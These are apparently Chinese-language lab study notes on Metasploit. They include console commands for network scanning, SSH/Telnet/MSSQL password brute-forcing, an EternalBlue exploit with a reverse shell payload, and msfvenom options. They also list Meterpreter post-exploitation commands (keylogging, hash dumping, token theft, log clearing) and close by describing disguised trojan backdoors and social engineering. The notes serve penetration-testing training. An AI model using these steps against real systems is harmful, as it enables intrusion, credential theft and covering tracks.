网络安全笔记-MSF

Metasploit 简介

Metasploit是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),支持整个渗透测试过程的安全技术集成开发与应用环境。

Metasploit技术架构

在这里插入图片描述
1、基础库:metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等。
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
2、模块:模块组织按照不同的用途分为6种类型的模块(Modules):
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能。
4、接口:包括msfconsole控制终端、msfcli命令行、msfgui图像化界面、armitage图形化界面以及msfapi远程调用接口。
5、功能程序:metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、c语言、javaScript语言等多种形式,并可以进行各种类型的编码。

  • 辅助模块
    Metasploit为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz、测试发掘漏洞、实施网络协议欺骗等模块。
    辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息。
  • 渗透攻击模块
    渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。
    • 主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通过连接目标系统网络服务,注入一些特殊构造的包含"邪恶"攻击数据的网络请求内容,触发安全漏洞并使得远程服务进程执行在"邪恶"数据中包含攻击载荷,从而获取目标系统的控制会话。
    • 被动渗透攻击利用的漏洞位于客户端软件中,如浏览器、浏览器插件、电子邮件客户端、Office与Adobe等各种文档阅读与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出"邪恶"的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务、发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些邪恶的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell会话。
  • 攻击载荷模块
    攻击载荷是在渗透攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
  • 空指令模块
    空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90。
  • 编码器模块
    攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入邪恶数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序–编码。
    编码器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符"。
    编码器的第二个使命就是对攻击载荷进行"免杀"处理。
  • 后渗透攻击模块
    后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。
  • 免杀模块
    对攻击载荷进行"免杀"处理。

Metasploit渗透阶段

渗透攻击是目前Metasploit最强大和最具吸引力的核心功能,Metasploit
框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。
除了渗透攻击之外,Metasploit在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。

  • 情报搜集阶段
    Metasploit一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap, Nessus, OpenVAS等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精确情报。
  • 威胁建模阶段
    在搜集信息之后, Metasploit支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL、MySQL、SQLite 数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜索到的情报进行威胁建模,从中找出最可行的攻击路径。
  • 漏洞分析阶段
    除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,Metasploit
    中还提供了大量的协议Fuzz 测试器与Web应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出ODay漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量。
  • 后渗透攻击阶段
    在成功实施渗透攻击并获得目标系统的远程控制权之后,Metasploit框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大功能。
    Meterpreter可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter中实现了特权提升、信息搜取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外功能的后渗透攻击模块。
  • 报告生成阶段
    Metasploit框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测试报告的写作。
    商业版的Metasploit Pro具备了更加强大的报告生成功能,可以输出HTML、XML、Word 和PDF格式的报告,把那个支持定制渗透测试报告模板。

Metasploit使用命令

MSF启动命令

msfconsole

MSF更新命令

apt-get update
apt-get install metasploit-framework

一个模块就是一个rb脚本

使用普通用户:msfadmin 密码:msfadmin 进行登录
修改root 用户密码
msfadmin@metasploitable:~$ sudo passwd root [sudol password for msfadmin:msfadmin
设置新密码
Enter new UNIX password: 123456
Retype new UNIX password: 123456
passwd: password updated successfully
切换到rodt 用户
msfadmin@ metasploitable:~$ su root
Password:123456

通过 help 查看帮助,可以对 msf 有个整体认识,可以看到msf 相关命令可以分成以下类型:
Core Commands
#核心命令
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands #资源脚本命令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令

常用的命令

1、核心命令中的 connect 命令

connect 命令主要用于远程连接主机。一般用于内网渗选。比较常用的命令就是
connect 192.168.1.1 80

连接目标 80 端口
msf5 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get / [*] Connected to xuegod.cn:80
get / #提交一个get 请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 29 Jun 2019 09:54:16 GMT
Content-Type: text/html
Content-Length: 172
Connection: close

2、模块相关的命令show使用方法

show 命令用的很多
“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info,options

例1:列出metasploit 框架中的所有渗透攻击模块 exploits。
msf5 > show exploits
#列出 metasploit 框架中的所有渗透攻击模块。该命令列出数据较多,较为耗费时间。
msf5>show payloads #列出metasploit 框架中的所有攻击载荷。
msf5> show auxiliary #列出metasploit 框架中的所有辅助攻击载荷。。
每列的含义是:
name:名称
Disclosure Date :披露日期
Rank:排名
Check:检查
Description:说明

3、模块相关命令search搜索的使用方法

当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search搜索命令就很重要。
当你输入search -h会列出search命令的一些选项。
语法:Search Keywords 参数:关键宇
比如 msf5> search name:mysql #要查找mysql数据库的漏洞

每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 宇段。
用户可以基于 Rank 对漏洞利用模块进行搜素,分类以及排序。
Rank 按照可靠性降序排列:
excellent:
漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great:
该漏洞利用程序有一个默认的目标系统,井且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
good :
该漏洞利用程序有一个默认目标系统,井且是这种类型软件的“常见情况〞(桌面应用程序的Windows 7,服务器的2012 等)。
normal :
该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average:
该漏洞利用程序不可靠或者难以利用。。
low :
对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)。
manual:
该漏洞利用程序不稳定或者难以利用井且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。

例2:通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用path:命令查找在该路径下的所有模块。如果我要mysql下的所有mysql利用模块,那么就输入:
search path:mysql

例3:缩小查询范围
关键字:platform
作用:Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞,有时候我们会搜索到大量的模块,那么可以用platform:命令来缩小查询范围。使用platform命令后,所查询的结果会列出rank比较高的模块。如果我要查找mysql的漏洞,那么输入:
search platform:mysql
所有rank 为normal 的模块全部都屏蔽了,只剩下几个比较高级的利用模块。
例4:通过类型进行查找
这里要使用到 type:命令。
type :特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索 exploit 模块,那么就输入:
msf5 > search type:exploit

例5:联合查找
要査找 mysql 的 exploit 相关漏洞。那么输入
msf5 > search name:mysql type:exploit
在这里插入图片描述
注:MySQL yaSSL CertDecoder::GetName Buffer Overflow 的意思是:
mysql yassl certdecoder:: getname 缓冲区溢出漏洞

例6:根据 CVE 搜索 exploit 相关模块
CVE 概:CVE 的英文全称是 “Common Vulnerabilities & Exposures” 公共漏洞和暴露。
CVE 就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。
使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得 CVE 成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有 CVE 名称,你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息,解決安全问题。

4、模块相关的命令 use 的使用方法

use 使用参数。如你要使用到某个模块,就要使用到 use 命令
语法:use 模块的名字
实战背景:
2008 年微软爆出 ms08_067 漏洞,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Microsoft Windows 2000、 Windows XP 和 Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。
先查找出自己想要的 ms08_ 067 漏洞模块。
msf5 > search ms08_067
在这里插入图片描述
metasploit 支持模糊查找,不区分大小写
装载一个渗透攻击模块
msf5 > use exploit/windows/smb/ms08_067_netapi
我们可以看到使用 use 装载模块后我们的 bash提示符会变成对应的模块信息。稍后我们使用这个模块进行攻击。
msf5 exploit (windows/smb/ms08 067 netapi) > back #back 退出当前调用的模块

5、模块相关的命令info的使用方法

info:显示模块的相关信息。
方法1:info 模块名称
msf5 > info exploit/windows/smb/ms08_067 netapi
方法2:use 装载模块后直接使用 info
msf5 > use exploit/windows/smb/ms08_067 netapi
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Metasploit情报搜集

  • 网站敏感目录扫描
    可以借助Metasploit 中的brute_dirs,dir_listing,dir_scanner等辅助模块来进行敏感目录扫描。
    主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典。
msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 172.16.132.138RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/PATH => /cms/
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50THREADS => 50
msf5 auxiliary(scanner/http/dir_scanner) > exploit
  • dir_scanner
    模块发现了网站上的一些目录,Admin,admin,images。只要字典足够大,可以找到更多的敏感目录。
  • 主机发现
    Metasploit中提供了一些辅助模块可用于主机发现,这些模块位于
modules/auxiliary/scanner/discovery/目录中。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep

可以使用arp_sweep来枚举本地局域网中的所有活跃主机。

msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 172. 16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 50 
THREADS => 50
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
  • 端口扫描
    Metasploit 的辅助模块中提供了几款实用的端口扫描器。
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/xmas
auxiliary/scanner/pontscan/ftpbounce
auxiliary/scanner/portscan/tcp

一般情况下推荐使用syn
端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。

msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/portscan/syn) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/syn) > exploit
  • 探测服务详细信息
    在Metasploit 中有一些插件可以调用系统中的命令,比如可以使用Nmap探测目标的详细服务信息,命令[nmap -sS -Pn 192.168.1.1 -sV],
    参数说明:
    -sS 使用SYN 半连接扫描
    -Pn 在扫描之前,不发送ICME echo 请求测试目标是否活跃
    -sV 探测服务详细版本
    [nmap -sS -Pn 172.16.132.138 -sV]
  • 服务查点
    在Metasploit的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_namel_version命名。该模块可用于遍历网络中包含某种服务的主机,并进一步确定服务的版本。
    • telnet 服务查点
      Telnet 是一个历史悠久但先天缺乏安全性的网络服务。由于Telnet
      没有对传输的数据进行加密,越来越多的管理员渐渐使用更为安全的SSH协议代替它。尽管如此,很多价格昂贵、使用寿命更长的大型交换机使用Telnet
      协议的可能性更大,而此类交换机在网络中的位置一般来说都非常重要。
      可以使用telnet_version模块扫描一下是否有主机或设备开启了Tenlnet 服务。
      msf5 > use auxiliary/scanner/telnet/telnet_version
      msf5 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 172.16.132.160/24RHOSTS => 172.16.132.160/24
      msf5 auxiliary (scanner/telnet/telnet_version) > set THREADS 50
      THREADS => 50
      msf5 auxiliary(scanner/telnet/telnet_version) > exploit
    • SSH 服务查点
      通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH 客户端返回一个远程Shell连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应登录用户的所有权限。
      可以使用ssh_version模块遍历网络中开启SSH 服务的主机。
      msf5 > use auxiliary/scanner/ssh/ssh_version
      msf5 auxiliary (scanner/ssh/ssh_version) > set RHOSTS 172.16.132.160/24
      RHOSTS => 172.16.132.160/24
      msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
      THREADS => 50
      msf5 auxiliary(scanner/ssh/ssh_version) > exploit
    • MSSQL 服务查点
      可以使用mysql_ping查找网络模块中的Microsoft SQL Server。
      msf5 > use auxiliary/scanner/mssql/mssql_ping
      msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 172.16.132.160/24back
      RHOSTS => 172.16.132.160/24
      msf5 auxiliary (scanner/mssql/mssql_ping) > set THREADS 50
      THREADS => 50
      ms f5 auxiliary(scanner/mssql/mssql_ping) > exploit
  • 口令猜测
    • Telnet 服务口令猜解
      msf5 > use auxiliary/scanner/telnet/telnet_login
      msf5 auxiliary (scanner/telnet/telnet_login) > set RHOSTS 172.16.132.138
      RHOSTS => 172.16.132.138
      msf5 auxiliary(scanner/telnet/telnet_login) > set USER_FILE /root/dic/user.dic
      USER_FILE => /root/dic/user.dic
      msf5 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /root/dic/pwd.dic
      PASS_FILE => /root/dic/pwd.dic
      msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 50
      THREADS => 50
      msf5 auxiliary(scanner/telnet/telnet_login) > exploit
    • SSH 服务口令猜解
      在确定了网络上的SSH 服务之后,可以使用MSF 中的ssh_login 模块对SSH服务进行口令猜测攻击,在进行口令攻击之前,需要一个好用的用户名和口令字典。
      msf5 > use auxiliary/scanner/ssh/ssh_login
      msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.16.132.160
      RHOSTS => 172.16.132.160
      msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/dic/user.dic
      USER_FILE => /root/dic/user.dic
      msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/dic/pwd.dic
      PASS_FILE => /root/dic/pwd.dic
      msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 50
      THREADS => 50
      msf5 auxiliary(scanner/ssh/ssh_login) > exploit
    • MSSQL 服务破解
      msf5 > use auxiliary/scanner/mssql/mssql_login
      msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 172.16.132.135
      RHOSTS => 172.16.132.135
      msf5 auxiliary (scanner/mssql/mssql_login) > set USER_FILE /root/dic/user.dic
      USER_FILE => /root/dic/user.dic
      msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/dic/pwd.dic
      PASS_FILE => /root/dic/pwd.dic
      msf5 auxiliary (scanner/mssql/mssql_login) > set THREADS 50
      THREADS => 50
      msf5 auxiliary(scanner/mssql/mssql_login) > exploit

基于tcp协议收集主机信息

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
使用auxiliary/sniffer 下的 psnuffile 模块进行密码嗅探
在这里插入图片描述

msf5 > search psnuffle
msf5 > use auxiliarv/sniffer/psnuffle
查看 psnuffle 的模块作用:
msf5 auxiliary(sniffer/psnuffle) > info
Description:
This module sniffs passwords like dsniff did in the past #这个 psnuffle 模快可以像以前的dsniff命令一样,去嗅探密码,只支持 pop3、imap、 ftp.、HTTP GET 协议

扩展:Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、綜合性的网络嗅探工具包。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

基于SNMP协议收集主机信息

简单网络管理协议 (SNMP,Simple Network Management Protocol),由一组网络管理的标准组成,包含一个应用层协议 (application layer protocol)、数据库模型 (database scherna) 和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

基于SMB协议收集信息

SMB 概述:服务路消息块 (Server Message Block.缩写为 SMB),又称网络文件共享系统(Common Internet File System,缩号为 CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共亭计算机文件、打印机、串行端口和通讯等资源。
经过 Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。

使用smb_version 基于 SMB 协议扫描版本号

在这里插入图片描述
msf5 > use auxiliary/scanner/smb/smb_ version
设置扫描目标,注意多个目标使用逗号+空格隔开
msf5 auxiliary(scanner/smb/smb_version) > show options
在这里插入图片描述

#设置

在这里插入图片描述
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.56, 192.168.1.180
注:192.168.1.56 后面的逗号和 192.168.1.180 之间是有空格的
msf5 auxiliary(scanner/smb/smb version) > run

在这里插入图片描述
可以扫描出来操作系统的版本号,版本号很准确。

使用smb_enurshavies 基于 SMB 协议扫共享文件(账号、密码)

SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会重满足我们的需求。
我们到 Windows 中启用一下共享服务。
在这里插入图片描述

在这里插入图片描述
msf5 > use auxiliary/scanner/smb/smb enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > show options
扫描 192.168.1.53到 192.168.1.60 的机器
msf5 auxiliary(scanner/smb/smb enumshares) > set RHOSTS 192.168.1.560
如果你不配置用户,就扫描不到信息。配置一下用户信息,我这里用户是默认的管理员用户,密码没有设置。
msf5 auxiliary(scanner/smb/smb enumshares) > set SMBUser administrator
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBPass 123456 msf5 auxiliary(scanner/smb/smb_enumshares) > run
在这里插入图片描述
可以看到有 1 个是我们前面设置的xuegod 共享文件目录还有 4个是隐藏的共享目录。
使用smb lookupsid 扫描系统用户信息 (SID 枚举)

在这里插入图片描述

msf5 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.1.56
msf5 auxiliary(scanner/smb/smb lookupsid) > set SMBUser administrators msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456
msf5 auxiliary(scanner/smb/smb lookupsid) > run
msf5 auxiliary (scanner/smb/smb_Lookupsid)>run

在这里插入图片描述

基于SSH 协议收集信息

查看ssh 服务的版本信息
msf5 > use auxiliary/scanner/ssh/ssh_version

在这里插入图片描述
msf5 auxiliary(scanner/ssh/ssh version) > show options
msf5 auxiliary(scanner/ssh/ssh version) > set RHOSTS 192.168.1.180
在这里插入图片描述
msf5 auxiliary(scanner/ssh/ssh version) > run
在这里插入图片描述
对SSH 暴力破解
在这里插入图片描述
在这里插入图片描述

基于FTP协议收集信息

查看ftp 服务的版本信息
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
ftp 匿名登录扫描
在这里插入图片描述

ftp 暴力破解

网络服务渗透攻击

  • MS17-010 “永恒之蓝”
    社会工程学
    ms fvenom
  • 参数说明
-p
-payload
<payload>
指定需要使用的payload (攻击载荷)
-f
--format
<format>
指定输出格式
-1
--list<module_type>
列出指定模块的所有资源
-n
-nopsled
<length>
为payload预先指定一个NOP 滑动长度
-e
encoder
[encoder]
指定需要使用的encoder (编码器)
-a
-arch
<architecture>
指定payload的目标架构
--platform
<platform>
指定payload的目标平台
-S
space
<length>
设定有效攻击载荷的最大长度-b
--bad-chars
<list>
设定规避字符
-I
--iterations<count>
指定payload 的编码次数
-c
-add-code
<path>
指定一个附加的win32 shellcode文件
-x
--template
<path>
指定一个自定义的可执行文件作为模板
-k
--keep
保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options
列举payload的标准选项
-o
--out
<path>
保存payload
-v
--var-name
<name>
指定一个自定义变量,以确定输出格式
--shellest
最小化生成payload
-h
--help
查看帮助选项
--help-formats
查看msf支持的输出格式列表

Meterpreter

meterpreter 是一个高级的,动态的,可拓展的Payload,出现meterpreter 我们就有了shell,可以执行非常多的命令,去操控远端设备。

  • 帮助命令
background 		将Meterpreter 终端隐藏在后台
bgkill   		杀死一个背景meterpreter脚本
bglist  		提供所有正在运行的后台脚本的列表
bgrun 			作为一个后台线程运行脚本
channel 		显示活动频道
close  			关闭通道
exit  			终止meterpreter会话
help 			帮助菜单
interact  		与通道进行交互
irb 	 		进入Ruby 脚本模式
migrate 		切换进程
quit 			终止meterpreter会话
read  			从通道读取数据
run 			执行以后它选定的meterpreter脚本
use 	 		加载meterpreter的扩展
write  			将数据写入到一个通道
  • 文件系统命令
cd 				更改目录对受害人
del 			删除文件对受害人
getlwd 			打印本地目录
getwd 			打印工作目录
lcd 			更改本地目录
lpwd 			打印本地目录
ls 				列出在当前目录中的文件列表
mkdir 			在受害者系统上的创建目录
pwd 			输出工作目录
rm 				删除文件
rmdir 			受害者系统上删除目录
upload			从攻击者的系统往受害者系统上传文件
cat 			查看文件内容
edit 			编辑文件
download		从受害者系统文件下载
search 			搜索文件
  • 网络命令
ipconfig 		显示网络接口的关键信息,包括 IP 地址、 等。
portfwd 		端口转发
route 			查看或修改受害者路由表
  • 系统命令
clearav 		清除了受害者的计算机上的事件日志
drop_token 		被盗的令牌
execute			执行命令
getpid 			获取当前进程 ID (PID)
getprivs 		尽可能获取尽可能多的特权
getuid 			获取作为运行服务器的用户
kill 			终止指定 PID 的进程
ps 				列出正在运行的进程
reboot			重新启动受害人的计算机
reg 			与受害人的注册表进行交互
rev2self 		在受害者机器上调用 RevertToSelf()
shell 			获取系统的控制台shell
shutdown		关闭了受害者的计算机
steal_token 	试图窃取指定的 (PID) 进程的令牌
sysinfo 		获取有关受害者计算机操作系统和名称等的详细信息
quit 			关闭当前的Meterpreter 会话,返回MSF终端
  • 用户界面命令
enumdesktops 		列出所有可访问台式机
getdesktop 			获取当前的 meterpreter 桌面
idletime			检查长时间以来,受害者系统空闲进程
keyscan_dump 		键盘记录软件的内容转储
keyscan_start 		启动时与如Word或浏览器的进程相关联的键盘记录软件
keyscan_stop 		停止键盘记录软件
screenshot			屏幕快照
set_desktop 		更改 meterpreter 桌面
uictl 				启用用户界面组件的一些控件
  • 特权提升命令
getsystem 			获得系统管理员权限
  • 密码转储命令
hashdump 			抓取哈希密码 (SAM) 文件中的值
请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。
  • 其他命令
timestomp 			操作修改,访问,并创建一个文件的属性
sessions    		查看已经成功获取的会话。-i选项,切入后台会话			
routesysinfo		查看路由信息,设置路由查看系统信息

实验

PostgreSQL: 世界上最先进的开源关系数据库 Relational 关系型
扩展:PostgreSQL 和 MySQL 数据的应用场景区别
从应用场景来说,PostgreSQL 重加适合严格的企业应用场景(比如金融、电信、ERP、CRM).而MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景
手动启动数据库
root@xuegod53:~# systemctl start postgresql
root@xuegod53:~# systemctl enable postgresql #设置成开机启动数据库,我们要经常用

事情背景:
2017年GitHub 上公开了 CVE-2017-8464 漏洞的 metasploit-framework 利用模块。利用此模块在Windows 10 x64 (Build 14393)版本上测试有效。
现在此模块已经加入 metasploit 中了。
通过执行 cve_ 2017_8464_Ink_rce.rb模块,将生成大量的.ink 文件(对应盘符从D到z)和要加载的.dll 文件(后门文件)。将所有样本文件拷到U盘里,然后将U盘插到 Windows7 机器上,默认自动执行:

在这里插入图片描述

实战-使用msf 渗透攻击 Win7 主机并远程执行命令

环境介绍
永恒之蓝概述:
永恒之蓝是指 2017 年4月14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含 “永恒之蓝”工具,“永恒之蓝”利用windows 系统的 SMB 漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒素病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
windows7是2009年发布。
官方描述:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/m$17-010
永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010是Windows 系統一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虛拟货币挖矿机等恶意程序。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/×64/shell/reverse_tcp
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

实战-使用msf扫描靶机上mysql服务的空密码

在这里插入图片描述

在这里插入图片描述

show options

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令
数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap 井自动记录输出
db_rebuild_cache 重建数据库存储的模块高速緩存:
db_status 品示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭证后端命令
creds 列出数据库中的所有凭据

实战:使用msfvenom 生成快播和西瓜影音看片神器后门木马

制作 Windows 恶意软件获取 shell
在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击。比如我们向目标发一个含有后门的程序,或者是一个word 文档、pdf 文件。想要达到效果同时也要利用好社会工程学,来诱导受害者执行恶意程序。
